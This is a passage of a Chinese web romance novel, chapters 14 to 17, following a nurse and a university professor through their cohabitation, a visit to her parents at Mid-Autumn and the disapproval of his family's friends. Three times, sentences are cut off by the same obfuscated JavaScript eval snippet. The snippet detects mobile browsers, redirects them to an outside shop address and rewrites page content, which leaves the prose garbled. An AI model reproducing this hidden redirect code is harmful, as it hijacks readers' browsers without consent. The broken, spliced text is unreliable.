涂夏顺势往前一倾,双手环抱着他的腰,闭上眼睛,细细地嗅着他身上的味道,宽阔的胸膛,紧实的腰腹,让人特别有安全感。 赵聿明一手揽着她的肩膀,一手抚摸着她的后脑勺,声音清冽温柔:“怎么了?” “没事。”涂夏晃了晃脑袋,“想抱抱你。” 赵聿明闻言弯下身,将她包裹在怀里。 “对不起,吵醒你了。”赵聿明将下巴抵在她的头顶,话里话外都是心疼和懊悔。 涂夏的困意消散了,她睁开眼,后仰身体,伸出两条白细的胳膊,摸上赵聿明的脖颈,额头抵着额头,试探般地把嘴唇凑上去。 赵聿明张嘴含上她的唇瓣,仔细研磨着。 她的手顺着赵聿明的脖颈往下,伸进他的衣服里,指腹和手心重重地蹂躏着他的后背。 赵聿明的感官被无限放大,大脑像烟花一样“砰”地炸开,两人的喘息声越来越重,他的手压在涂夏的肩膀和腰上,身体紧紧地贴着。 窒息的感觉越来越重,涂夏收回胳膊,猛地推开他,赵聿明的眼里噙着笑意,低头亲着她的眼睛,亲着她的耳朵。 涂夏的身体开始发颤,看着赵聿明气定神闲的模样,她报复性地咬上他的脖颈。 赵聿明吃痛,轻“嘶”一声。 涂夏勾唇轻笑:“疼吗?” “不疼。”赵聿明笑了笑,“小猫咬得不疼。” 他托起涂夏的腰,把她抱起来。 涂夏将十指插进他的头发里,随后用力扯着,强迫他与自己对视,“不行。” 赵聿明不听她的,直接抱着她去了卧室。 涂夏挣扎着啃他,咬他。 “赵聿明,你要是敢,我就告你强//奸!” 赵聿明把她放到床上,抬手摸了摸自己的脖子,全是她的口水。 他扯来被子给涂夏盖上,“睡吧。” 涂夏把自己藏进被子里,只漏出圆溜溜的眼睛瞪他,赵聿明笑了笑,留下一句晚安转身离去。 他没想着把涂夏怎么样,逗她玩而已。 小猫呲着牙,张着爪子。咬他,挠他。 真的好可爱。 卧室门关上,涂夏看着从门缝里透进来的光亮,抬手摸着赵聿明亲过的地方,竟有一瞬间的不真实感。 她喘着气,伸手摸上胸口,感受着自己的心跳。不禁感叹一句,赵聿明太会亲了。 早上醒来,涂夏掀开被子坐起来,她抬手撩了一下头发,弯腰捡起掉在地上的手机。 关闭闹钟之后,起床去了卫生间。 涂夏洗漱好出来,刚走到客厅就撞见了赵聿明,他身上穿着睡衣,腰间系着围裙,一副典型的居家好男人模样。 好像又回到了七八月份,赵聿明兼职保姆和司机的时候,只不过这次多了个身份。 这次变成了同居室友。 “早上好啊。”涂夏塌着腰,懒洋洋地伸手打招呼,眼睛撇向厨房,“你做的什么?好香啊。” “紫菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781367|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馄饨。”赵聿明说。 涂夏露出一个讨好般的微笑,问:“什么馅儿的?” 赵聿明没忍住低头笑了,迈着大步走到她面前,弯下腰,点了点她的鼻尖,轻声说:“虾仁玉米” 涂夏很想抱他,但又怕再发生昨晚的事,只好打消了这个念头,改成牵起他的手。 她坐在餐桌前,慢悠悠地吃着馄饨。 赵聿明说:“一会儿我送你上班。” 涂夏问他:“你也要上班,时间来得及吗?” “来得及。”赵聿明把剥好的茶叶蛋递给她,“昨天晚上煮的,在锅里泡了一夜,应该入味了。” 昨天晚上…… 涂夏不好意思地笑了笑,眼睛无意间瞥见他脖子上的咬痕,蹭得红了脸,伸手指着他的脖子,小声说:“今天穿个高领的衣服吧,别穿衬衫了。” 赵聿明笑着回她:“下次咬别的地方。” 他昨晚洗澡的时候就发现了,不止脖子,顺着后脖颈往下,两侧肩胛骨的中央全是她的指痕,温热的水流划过,传来一阵阵的刺痛。 漂亮猫咪,下手都狠。 赵聿明感觉自己藏在心里的那点劣根,正在被涂夏一点点的挖掘出来。 喜欢被她啃咬,喜欢被她箍在怀里,喜欢她扇自己一个巴掌,再给自己一个甜枣。 喜欢她的好,喜欢她的坏。 喜欢她的所有。 涂夏低下头,闷声吃着馄饨。 赵聿明盯着她的发顶,弯唇一笑。 吃过饭,他回房间换衣服,涂夏坐在客厅里倒腾她那些化妆品。赵聿明也是个大直男,他搞不懂那些瓶瓶罐罐的作用,只知道涂夏喜欢,所以偶而路过商场时,他会进去买一些当做惊喜。 当然,他从不盲目购买,因为涂夏用什么牌子的香水,用什么色号的粉底液,他门儿清。 一切准备妥帖后,两个人牵手出了门。 车停在医院门口,赵聿明弯腰给她解开安全带,叮嘱道:“先看车。” “嗯。”涂夏点头,她不放心地看了眼赵聿明的脖子,最后伸出手,翻开领口,看见已经结痂的伤口,脸上满是懊悔。 她哭丧着一张脸,小声说:“对不起。” 赵聿明笑了笑:“不疼。” 涂夏眨着水汪汪的大眼睛,轻轻地捧着他的脸,“吧唧”一口亲了上去。 “完蛋,我涂了口红。” 赵聿明看着后视镜,只见自己脸上有一个格外清晰的红色唇印,涂夏抽出纸巾,抬手要给他擦掉。 他仰头躲开,笑着问:“留着好不好?” 涂夏毫不犹豫地说:“你还要上班,被同事和学生盯着问,多丢脸啊!快擦掉。” “不要。”赵聿明依旧躲开,“留着吧,我不嫌丢人。” “赵聿明!”涂夏喊他名字。 “好好好,我擦掉。” 赵聿明接过纸巾,犹豫两秒,说:“你快去上班吧,要迟到了,我自己擦。” 涂夏不肯,非要盯着他把唇印擦掉,赵聿明磨磨唧唧的就是不肯动手,直到身后传来一阵急促的车笛声。 “你快擦掉。”涂夏继续催他。 赵聿明靠在车门边,两个人中间隔了很远,他淡定地说:“你先去上班,我自己擦。” 涂夏瞪他一眼:“随便你。” 她开门下车,大步流星地往住院部走。 赵聿明看着她气冲冲的身影,笑出了声。 他把车开到其他地方,掏出手机,对着脸颊上的红色唇印,拍了张照片。 15. 第 15 章 休息日,涂夏一觉睡到大中午,赵聿明去学校之前把早饭温到了蒸锅里。他每天都醒的很早,有点像是高中生作息。 五点一刻起床,先去楼下跑步锻炼,回来后洗个澡,冲掉身上的汗味儿,再去做早饭。 涂夏挣扎着从床上爬了起来,边走边伸懒腰,简单洗漱完,素着一张脸出了门。 她打车去了超市,准备买点肉和菜把冰箱重新填满,顺便再给赵聿明做顿晚餐,好好感谢一下他这段时间的辛勤付出。 推上购物车,涂夏先去了趟生鲜区,选了条还在蹦跶的大鲤鱼,又称了几斤活虾。她不知道怎么挑选牛羊肉,就只从冷藏柜里拿了几盒已经处理好的,反正是连锁超市,也差不了哪里去。 买完肉,涂夏又拐到了蔬菜区,她看着各式各样的绿叶菜,犯了愁。 最后,她悄摸摸地跟上了一个阿姨。 阿姨买什么,她买什么。 肉和菜都搞定之后,涂夏挑了几样自己爱吃的水果和零食,推着购物车去了收银台结账。 她弯着腰,把东西一件件地放在收银台上,全部扫过码以后,收银员问:“有会员吗?” 涂夏点头:“有。” 报完手机号,扫过支付码,收银员撕下小票递给她,与此同时,另一位工作人员已经把她购买的东西装好了。 涂夏拎着两个装得满满当当的购物袋出了超市,好在路边刚好有出租车经过,她坐上车,报了地址,打开导航盯了一路。 她以前不觉得出门坐公交或者打车麻烦,现在指使惯了赵聿明,突然觉得还是有车自由。 高中毕业之后,涂夏就趁着暑假找了家驾校练车,一直到大一寒假,她才把驾照拿到手。 后来觉得自己用不到车,就没想过要买。 工作以后,她每月拿到手的工资养活自己都费劲儿,要是再养个车,干脆别活了。 司机忽然开口和她闲聊:“你们做保姆一个月工资多少钱啊?” “啊?”涂夏愣了两秒。 “你不是保姆吗?”司机问。 涂夏尴尬地笑了笑:“你觉得我像吗?” 司机透过后视镜仔细地打量她,随后认真地点了点头:“像。” 他收回眼神,又说:“这小区的房子最便宜都好几百万呢,人家业主都开车买菜,就咱们这底层老百姓坐公交,欸,你打车给报销不?他们咋没给你配个电动车,我媳妇儿也是做保姆的,买菜坐车啥的,都给报销。” “报销……”涂夏扯着嘴唇淡淡地笑着。 下车时,司机还贴心地给她开了报销凭证。 涂夏拎着两个购物袋,手心里攥着那张凭证,又气又恼的回了家。 她把东西一股脑地放进厨房,走到卧室全身镜前,看着自己的衣着打扮。 鸭舌帽,休闲T恤,牛仔裤。 哪点像保姆了? 不就是没化妆吗? 涂夏掏出手机拍了张全身照,直接发给赵聿明,她问:【我像你家保姆吗?】 赵聿明正好下课,他坐在教室里,等着学生走完以后,再回办公室。 赵聿明:【你像我家女主人。】 涂夏:【别贫嘴。】 赵聿明:【事实而已。】 他听涂夏说完今天的遭遇,没忍住笑了,连忙哄道:【不像,一点都不像。】 涂夏看了眼时间,十二点了。 她回:【你去吃午饭吧,我去洗澡换衣服,出了一身汗,难受死了。】 赵聿明:【好。等我回家。】 涂夏:【嗯。】 洗完澡,吃过饭,打扫干净浴室卫生,时间已经来到下午四点,涂夏蹲在厨房的地上,看着袋子里依旧蹦跶的鱼和虾,有些无从下手。 内心挣扎许久后,她拎起包装袋,用厨房剪剪开袋子,一股脑地倒进洗菜池里。 随后打开水龙头,不断地冲洗着。 涂夏洗干净手,拿出手机开始求助。 电话接听后,她开了免提放在桌上,冲着对面的人喊:“爸,你教教我怎么做怎么做红烧鱼呗。” 涂爸刚忙完,正坐在餐馆大厅的椅子上喝茶嗑瓜子,接到她的电话还没高兴两秒,就被这句话吓了一跳,紧张地问:“你问我这干啥,炸厨房啊?” 涂夏无语地说:“想吃了呗。” “想吃跟爸说啊,爸坐了给你送过去。”涂爸把手里的瓜子撂桌子上,重新系上围裙进了厨房,他把手机夹在耳朵和肩膀中间,扯着嗓子开始喊:“你别动锅灶,烫了伤了的我跟你妈多心疼啊,听话姑娘,我做好给你送过去。” 涂夏急忙制止道:“爸,真不用,我就想自己试试,我不做鱼也行,我还买了虾,水煮虾简单,我会去虾线,放点葱姜料酒下锅煮就行。” “这哪儿行啊,闺女想吃,我这当爹的,必须得做,我做完让店里服务员给你送过去。”说话间,涂爸已经开始拿起抄网捞鱼了。餐馆后厨连了个院子,里面有个水池,养了十几条鱼,但凡有客人点鱼,那都是现杀现做,吃的就是一个新鲜。 涂夏看了眼洗菜池里的鱼,无奈地抬手抚着额头,轻声说:“爸,我这鱼都死了,总得让它死的有点价值吧。” 涂爸说:“它死它的,我做我的,你听爸的话,别动厨房的家伙事儿。” 涂妈听见声音从隔壁店铺回来,站在后厨门口听了一会儿,大致搞明白了是什么事儿。 她一把抢过涂爸手里的抄鱼网,说:“人家小情侣谈恋爱,你也瞎掺和,夏夏想弄就弄呗,弄得难吃正好,以后婆婆家就不让她做饭了。” “啥?”涂爸还没反应过来。 涂妈白了他一眼,抄着口袋,悠哉悠哉地说:“你闺女啥时候这么勤快过?她能吃你做的饭就绝不点外卖,能点外卖就绝不自己做。” 涂爸瞬间觉得自己家养的水灵大白菜让猪给拱了,心情顿时一落千丈,他把手机拿起来,问:“你是做给你对象吃的?” “啊?”涂夏哑火了,“我自己也吃。” “我养了你二十几年,没让你下过一次厨房,你竟然为了他找你爹教做鱼?”涂爸越说越崩溃。 涂夏解释说:“他每天都接送我上下班,很辛苦的,我只是想单纯的感谢他一下。” 涂爸毫不留情地说:“我不教你。” “爸。”涂夏撒娇道:“你不教我,我万一毛毛躁躁地搞伤自己怎么办?” “那也不教。” “我学会了也做给你吃,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781368|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充其量就是只小白鼠。爸,亲爱的爸爸,求求你了。” 耳边传来开门声,涂夏捧着手机从厨房走了出去,看见赵聿明站在玄关口正在换鞋。 赵聿明问:“什么小白鼠?” “没什么。”涂夏心虚地笑了笑,她转过身,捂着手机说:“不教拉倒,有人乐意教。” 说罢,涂夏抬手按下挂断键。 涂夏把手机丢到一旁,问:“你怎么提前回来了?” “下午只有一节大课。”赵聿明说。 “不算旷工吗?” “不算。” 赵聿明脱下外套,放在沙发靠背上,单手解着衬衫扣子,涂夏看着他的背影,痴痴地笑着,她走上前,掀开他的衣领,仔细检查了一番。 她笑着说:“痕迹快消失了。” 赵聿明愣了一下,低下眼睛看她,唇角挂着一抹坏笑,“还想接着咬吗?” “活该,谁让你先惹我。”涂夏嗔怪道。 “可以咬。”赵聿明把衣领彻底解开,握着她的手,抵上自己的脖颈,随后向下滑动,先是锁骨,再是胸口,最后停在腹肌。他眼神犀利,举止性感,声音磁性魅惑,“想咬哪里?” 涂夏把自己的手抽了回来,踮脚坐在沙发靠背上,两条腿缠上他的腰,伸手扯着他的领口,一点点地顺着他的后背往下拽。 赵聿明就这么笑着看她。 他的眼神仿佛在说: 我的小猫咪,做的真棒。 衬衫掉在地上,纤细白嫩的手指轻轻地划过他的身体,赵聿明心里紧绷着的弦几乎快要断掉。 涂夏仰头看着他,弯唇笑出了声。 她问:“赵聿明,你的学生,知道他们尊敬的老师私底下是这个样子吗?” 赵聿明笑而不语,伸手托起她的后腰,俯下身试探着去亲她,但每一次都被她巧妙地躲开。 涂夏将双手抵在他胸口,笑着问:“冷不冷?” “脱完了,才想着问我冷不冷?”赵聿明发出一声轻笑。 “哪儿脱完了?”涂夏伸手向下,弯起食指,勾着他的腰带,“裤子还没脱呢。” “别乱摸。”赵聿明握住她乱动的手,放在嘴边亲了亲,他的声音低沉沙哑,像是压着一团燃烧正盛的烈火。 涂夏仰头亲了亲他的脸颊,趁赵聿明愣神的时候把手抽了出来,而后轻轻地把他推开。 她从沙发上跳下来,赤着脚往厨房走。 赵聿明捡起地上的衬衫和拖鞋,抬脚跟了上去。他把衬衫穿上,但没系扣子,弯腰抱起涂夏,让她坐在厨房台面上,低头给她穿上鞋。 “谢谢。”涂夏伸出胳膊,搂着他的脖颈,使劲儿往他的脸上亲了一口,算是奖励。 赵聿明抬眸问她:“凉不凉?” 涂夏问:“什么?” “台面凉不凉?”厨房台面是大理石材质的,屋里还开着空调,他刚用手摸了一下,挺冰的。 涂夏摇了摇头,笑着说:“我很热,特别特别热。” 她的眼神很媚,但赵聿明被她这只撩拨不灭火的行为弄怕了,压根不理这茬,他把目光放在别处,轻声说:“那你坐着,我去做饭。” 涂夏看着他落荒而逃的样子,笑个不停。 16. 第 16 章 中秋节,涂夏依旧留在医院值班,赵聿明学校放假,他打算白天先去趟父母家,等到了傍晚涂夏下班,接上她一起回趟涂家。 两边父母的礼品,他准备了一式两份,除了必备的月饼礼盒,还额外买了几样营养品。 上午十点多,赵聿明到了父母家。 他推开门,看见客厅里坐了两位客人。 “聿明回来啦?” “嗯。”赵聿明走上前,礼貌地向对方打了声招呼,“任伯父,任伯母好。” 任母身着宝蓝色传统旗袍,肩上搭着一条米白色蕾丝披肩,头发盘起,耳朵上是饱满圆润的珍珠吊坠,大气优雅,尽显端庄。 她浅浅地笑着,微微抬起胳膊朝赵聿明招了招手:“快坐下陪我们聊会儿天。” 赵聿明坐在他们对面,姿态恭敬。 任家这两位,是他父母年轻时的好友,两家的关系处了三四十年了,以前是门对门挨着,后来老房子拆迁,又商量着搬到了一块儿。 他读高中的时候,任家搬去了国外,只有个正念书的女儿留了下来,并在他家住了几年。 算下来,也有十几年没见过面了。 任父感叹道:“我们刚出国的时候,聿明还是个是十七八岁的毛头小子,现在竟然也到了而立之年,时间过的可真快啊。” 赵父笑着喝了一口茶水,调侃道:“可不是嘛,咱们几个也都成老家伙了。” 任母问:“聿明现在是在梧大任教?” “嗯。”赵聿明点了点头。 “琦琦前一阵儿还跟我提起你呢,说你评上了教授职称,以后前途无量。” 赵聿明微微一笑:“任琦也是事业有成。” 长辈坐在一起无非是聊往事,聊孩子。 现在赵聿明和任琦都到了结婚的年纪,家里催婚是必然的事。 赵父放下茶杯,把目光投向了赵聿明,他缓缓地开口问道:“你跟那姑娘相处的怎么样?觉得能结婚吗?” 赵聿明将要开口,就被任母打断了,她抢先一步问道:“什么姑娘?” 赵父笑了笑,说:“我同事给聿明介绍了个相亲对象,我对那姑娘挺满意的,觉得和聿明也挺合适,想着让两个孩子先处着,等时机合适了,就把亲事给定下。” 任母皱着眉问:“那姑娘做什么的啊?” 赵父说:“在二院当护士。” “护士怕是不行哦,工作忙不说,工资又少的可怜,靠聿明一个人养家怎么行?”任母是满脸的嫌弃,她又问:“她家里干什么的?” 赵聿明说:“家里经营着一家餐馆。” 话音刚落,任母便急着开口:“这哪行嘛,门不当户不对的,你俩专业差那么多,哪有共同语言啊,过不长久的。” 赵父和赵聿明的脸同时落了下来。 任父急忙伸手拦住任母,让她不要再乱说话了,任母瞥了他一眼,起身往厨房走。 “感情的事儿,孩子说了算。”任父说。 赵父“嗯”了一声,轻声说:“我们做父母的能陪他几十年?后半生的路不还是要和另一半扶着手走。” 厨房里,两个女人关上门说着悄悄话。 任母低头掐着豆角,皱着眉说:“那姑娘条件那么差,你家老赵也愿意?” “你忘了他是干什么的了?”赵母说。 “医生啊。”任母放下豆角,抽了张纸巾擦手,放低声音说:“聿明可是教授欸,他怎么能娶一个小护士?再说了,你家老赵那么些同事,总该有个家里孩子是学医的,介绍个医生也比介绍个护士强啊。” 赵母有些无奈:“父子俩一个眼光,我有什么办法,聿明还没跟那姑娘相亲呢,就敢顶撞我了。” 任母惊讶地“啊”了一声,表情变得夸张,她不可置信地问:“怎么回事儿啊?” 赵母叹了口气,颇为无奈地说:“春天的时候聿明伤了腿,他自己一声不吭地跑到二院去了,那姑娘就是聿明的责任护士,谁知道事情就这么巧呢。过了没几个月,老赵的同事就给聿明介绍了她,我当时就不同意,那姑娘浮浮躁躁的,说话满嘴跑火车,哪有大家闺秀的样子,跟土匪头子一样。偏就是老赵满意,聿明当个宝一样护着,说也说不得,劝也劝不动。” 任母全程皱眉,打心里就不喜欢这姑娘。 这还没结婚呢,就让母子俩分崩离析了,这要是结了婚,不知道要闹出什么乱子呢。 她问:“聿明性子闷,找个咋咋呼呼的家雀儿不嫌闹腾?” 赵母不悦地说:“哪会嫌闹腾啊,稀罕都还来不及呢。” 吃午饭时,没人再提这茬儿,倒是任母时不时提起任琦,赵聿明只点头,不多说什么。 送完客人,赵聿明回自己房间收拾了点东西,又躺在床上睡了一会儿。等傍晚四五点时,他抱着一个收纳箱从卧室出来。 赵母问:“要走了?” “嗯。”赵聿明点了点头。 赵母扫了一眼他怀里的箱子,想起中午和老友说的那些话,顿时有些不快。 她问:“你跟那姑娘还在一起呢?” “嗯。”赵聿明看向赵母,他态度坚决,一字一句地说:“您不用再劝我了,她是怎样的人,我比您清楚。我希望能得到你的祝福,但如果没有的话,也没有关系。您只要知道,我和她在一起的时候是幸福的,便足够了。” 从家里出来,赵聿明把收纳箱放在了车后座,等差不多刚过了六点,他发动车子,缓缓地驶离小区。 到医院停车场时,涂夏还有十分钟下班。 七点一刻,手机弹出一条语音提醒。 “下班啦,在等电梯,你在停车场吗?”涂夏语气欢快,听起来像是心情不错的样子。 赵聿明打字回道:【在北门出口位置,旁边有一个梧桐树。】 涂夏:【好,等我。】 赵聿明:【慢点儿,不要跑。】 涂夏拎着医院发的中秋福利进了电梯,同事看见她满脸春风得意,笑着问:“晚上有约啊?这么兴奋。” 涂夏也不藏着掖着,她恨不得把赵聿明介绍给所有人:“晚上约了对象回我爸妈家过中秋。” “都见家长了啊?”同事惊讶地问。 “何止见家长啊,都快谈婚论嫁了。” 同事羡慕地说:“那你过年可以找护长要休假了。” 涂夏眼前一亮,开心地笑了笑:“对啊,我端午中秋都没休,干脆国庆也别休了,攒着过年一起,痛痛快快地玩几天。” 因为未婚离家近,每年除夕夜的休班都没有她,今年可算是找到了正当理由。 从住院部出来,涂夏快步朝着停车场走,眼睛时不时眺望着,她看见赵聿明站在梧桐树下,眉眼弯弯,嘴角也挂着笑。 涂夏跑了起来,猛地跳到赵聿明身上,脸颊贴在他的脖颈上,低头嗅着他的味道。 她抬起头,问:“你抽烟了?” 赵聿明眉头皱起,抬起胳膊闻了闻衣袖,的确有股淡淡的烟草味儿,他轻声解释道:“中午回了趟家,估计是跟长辈坐在一起聊天的时候沾上了味道,我下次换了衣服再来见你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781369|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事儿。”涂夏摇了摇头。 两个人坐上车,开始往涂夏父母家赶。 傍晚时分,小区里的人渐渐多了,有穿着靓丽围在广场上跳舞的,有牵着小娃娃在草坪里学走路的,有拎着桃木剑坐在棋盘桌前下象棋的,有手牵着手在路边散步的…… 赵聿明将车停在单元楼门口,他迈着两条大长腿快步绕到车尾,弯下腰把后备箱里的东西拿了出来,涂夏站在一旁,满眼骄傲。 恰好有邻居抱着小孙子路过,看见赵聿明时还愣了一下,但转脸看见旁边的涂夏,瞬间反应过来,他笑着问:“夏夏,好事将近啊?” 涂夏弯唇一笑,回道:“还早着呢。” 邻居说:“那我就等着吃喜糖喝喜酒了。” “那我就等着收您份子钱了。”涂夏笑着开玩笑,她看着邻居怀里软乎乎的小豆丁,心都要被萌化了,随手掏出口袋里的棒棒糖,眨着眼睛问:“想不想吃?” 小豆丁害羞得不说话,转着黑黝黝的眼睛看她,涂夏笑得露出两排大白牙,她把棒棒糖塞到小豆丁手里,夸道:“真乖。” 邻居低下头逗孙子:“快谢谢阿姨。” “谢谢阿姨。”小豆丁的声音奶乎乎的。 “不客气。”涂夏说。 涂夏和邻居简单聊了两句家常,就领着赵聿明上楼了。她掏出钥匙开了门,冲着里面喊了声爸妈。 涂妈应了一声,从厨房走出来。 “小赵来啦,快进来快进来。”涂妈热情招呼着,“来就来嘛,还带这么多东西干什么?也不是外人,下次可别这样了啊。” 赵聿明说:“应该的,这是礼数。” 换好拖鞋,赵聿明跟着涂夏往客厅走,厨房里的香味儿飘了出来,他说:“我去厨房看看有没有什么能帮上忙的。” 涂妈把他拦下,说:“马上就好了。” 随后朝涂夏使了个眼色:“夏夏,你陪着小赵在客厅坐会儿,喝点茶吃点水果,我去厨房看看锅里的鱼好了没有。” “哦。”涂夏点了点头,说:“好。” 涂妈转身去了厨房,涂夏拉着赵聿明在沙发上坐下,她拿了颗橘子,剥好皮分他一半。 “我还是去厨房看看吧。”赵聿明有些坐不住,他总觉得不合规矩,“我去看看。” “不用。”涂夏按住他的手腕,“我爸不喜欢别人在他做饭的时候瞎掺和,一个人一个习惯,你要真去了,他不好赶你出来,只能把不爽憋在心里,这多难受啊,你就老实坐着。” 赵聿明皱着眉说:“那我一直坐着是不是也不好?” 涂夏无奈地笑了笑,把他手心里的半颗橘子拿了过来,掰成瓣儿喂他嘴里:“放宽心,我爸妈很好说话的,在我们家可以随心一点。” “我自己来。”赵聿明躲开她的手,不放心地往厨房瞥了一眼,他低下头小声说:“让长辈看见了不好。” 涂夏微微蹙眉,有些嫌弃:“喂个橘子而已,又不是当着他们的面亲你,有什么可害羞的?” 赵聿明瞪她:“不许乱说话。” 涂夏:“那我可以亲你吗?” “不可以。”赵聿明往旁边坐了坐,生怕涂夏真的凑过来亲他,“你老实点,别动歪心思。” 涂夏被他的反应逗笑了。 满脑子都是他好可爱,好想欺负。 她往赵聿明那里稍微移了移,威胁道:“你别乱动,小心我没忍住喊出了声,让我爸妈听见了收拾你。” 赵聿明的眼里闪过一丝不可置信。 他求道:“饶了我行吗?” 17. 第 17 章 涂夏与他十指相扣,手心来回磨蹭,渗出湿漉漉的汗水,温温软软的触感,特别清晰。 赵聿明压着嗓子说:“你每次都这样。” “都哪样?”涂夏笑着望向他。 含情脉脉的眼睛,妖艳妩媚的嗓音,极具挑逗性的动作,弄得人满身燥热。 赵聿明几乎快要崩溃了。 好在这时,身后传来涂妈的声音:“夏夏,小赵,吃饭了。” “来了。”涂夏依旧不移开眼。 餐厅里,涂夏和赵聿明并排坐着,涂爸指着餐桌中央的那条鱼,不喜不怒地说:“尝尝这条鱼,从它离开水到做熟端上桌,也就一小时不到,夏夏最喜欢吃现杀的活鱼了。” 涂夏知道她爸说这些话是什么意思,小老头儿还记着仇呢。她拿起筷子先给涂爸夹了一块鱼腹肉,讨好地笑了笑:“大功臣先吃。” 涂爸皮笑肉不笑地问:“小赵做鱼在行吗?” 赵聿明笑着说:“只能说会做,但跟您的手艺肯定是没办法比。” “那还是要学习一下。”涂爸说。 赵聿明点头:“是要学。” “我家夏夏从小就没进过厨房,虽然我们家是开餐馆的,但她连青菜都分不清,也是我们娇惯,捧在手里怕碎了,含在嘴里怕化了,我还记得她第一天去幼儿园,我跟她妈就站在栏杆门口哭啊。”涂爸说着说着开始抹眼泪。 涂妈捣了捣他的胳膊,翻着白眼说:“那是你自己哭了,我没哭,你别带着我。” 涂爸立刻拆台:“那是谁不舍得回家,非趴在幼儿园操场的栏杆边上,说看她姑娘上课的。” “嘿。”涂妈瞪他一眼,“你没看啊?那么多家长都守着,又不是只有我。” 涂夏无奈地叹了口气:“今天过中秋,我好不容易回家一趟,大家都安静吃饭可以吗?” 涂爸点了点头:“听我姑娘的。” 涂夏第一天上幼儿园没哭,放学的时候老师还夸了她,说小姑娘聪明,独立能力强。涂爸心里有些失落,也明白不是孩子离不开父母,是父母离不开孩子。 回家路上,她坐在涂爸肩膀上,晃悠着两条白白胖胖的小短腿,手里握着棉花糖,吃得脸上黏糊糊的。涂爸问:“别的小朋友都哭,你怎么不哭呀?” 涂夏舔了舔手指上的棉花糖,奶声奶气地说:“幼儿园里有香香的牛奶和饼干,有好多家里都没有的玩具,我才不要哭,哭的丑丑的。” 第二天,她坐在教室里,看着周围依旧哇哇大哭的小朋友,一脸的嫌弃。 哭得最凶的是个小男生,他被老师抱在怀里,眼泪哗哗地往下掉,涂夏走过去,模仿着大人的语气,凶巴巴地说:“你再哭,你的爸爸妈妈就不来接你了。” 然后,小男生哭得更凶了。 涂夏特别烦,她觉得幼儿园一点都不好。 第三天,涂夏死活不肯去幼儿园。 涂妈问:“为什么不愿意去?” 涂夏:“幼儿园里的小朋友只会哭。” 没人陪她玩玩具,没人陪她做游戏。 涂夏觉得还不如在家跟阿黄玩呢。 那时候涂家在街上住着,左邻右舍的关系也亲近,涂夏长得可爱,像年画娃娃一样,谁家要娶新媳妇,一准抱她去滚床。穿着红色的新衣服,眉心点上一颗胭脂痣,胖乎乎的小手里攥着红包,奶声奶气地祝新郎新娘百年好合早生贵子。 涂爸擦了眼泪,开始动筷子吃饭。 赵聿明夹了块鱼肉,挑干净鱼刺,下意识地放进了涂夏的碗里,这亲昵的一幕刚好被涂爸看见,也是不甘示弱地给涂夏夹菜。 “爸,够了,不用再夹了。”涂夏看着碗里几乎快要冒出去的菜,实在无从下嘴。 她看了眼赵聿明,求救般地说:“我把我爸对我的好,分你一半。” 赵聿明没敢把开心显露在脸上,只是小心翼翼地把饭碗捧了过去,涂夏把最上面的几块排骨分给了他。 涂妈瞥了涂爸一眼,强忍着笑意说:“你叔做的糖醋排骨是一绝,多吃点。” “谢谢叔叔阿姨。”赵聿明礼貌地点头。 涂爸问:“小赵平常吸烟喝酒吗?” 赵聿明如实说道:“不吸烟,但如果有工作聚餐的话会喝一点酒,但喝得不多。” 涂爸叮嘱道:“夏夏闻不了烟味儿,你平常要格外注意一点,以后结了婚,她也是不能进厨房的,小姑娘细皮嫩肉的,油烟味儿怎么受得了。” “嗯。”赵聿明点头:“我明白。” 涂妈在一旁附和道:“我跟你叔叔结婚都有三十几年了,他没让我炒过一次菜,煮过一次饭,我说餐馆这么忙,你当大厨我给你当跑堂的,他不要的,说碗碟子烫手,就让我坐柜台里面打算盘数钱,他说女人的手最适合抓钱。” 赵聿明笑着说:“叔叔阿姨的感情真好。” 涂爸说:“都是真心换真心。” 感情就是你对我好,我也对你好。 吃过饭,两个男人进了厨房,一个收拾碗筷,一个切水果。 涂夏靠在涂妈身上,母女俩小声地说着悄悄话,涂妈说:“小赵看起来脾气挺好的,性格也温温和和的,就是有点闷,不爱说话。” 涂夏说:“他不爱讲话我爱讲啊。” 涂妈又问:“你俩平常约会都谁掏钱啊?” 涂夏说:“有时候是我,有时候是他。” 涂妈点了点头:“你做的对。” 谈恋爱就是这样,有来有往的,要真论起什么AA制,要么是感情没到那份上,要么是心里太计较得失。 总之一句话,这样的人靠不住。 * 两个人从涂家回来,涂夏看见赵聿明从车后座捧回个箱子,她问:“这是什么?” 赵聿明说:“读书时候的东西。” 涂夏好奇:“不会是什么物理模型吧?” “不是。”赵聿明有些想笑,“就读书时朋友送的礼物,还有点照片什么的。” “照片?”涂夏眼前一亮,“我可以看看吗?” 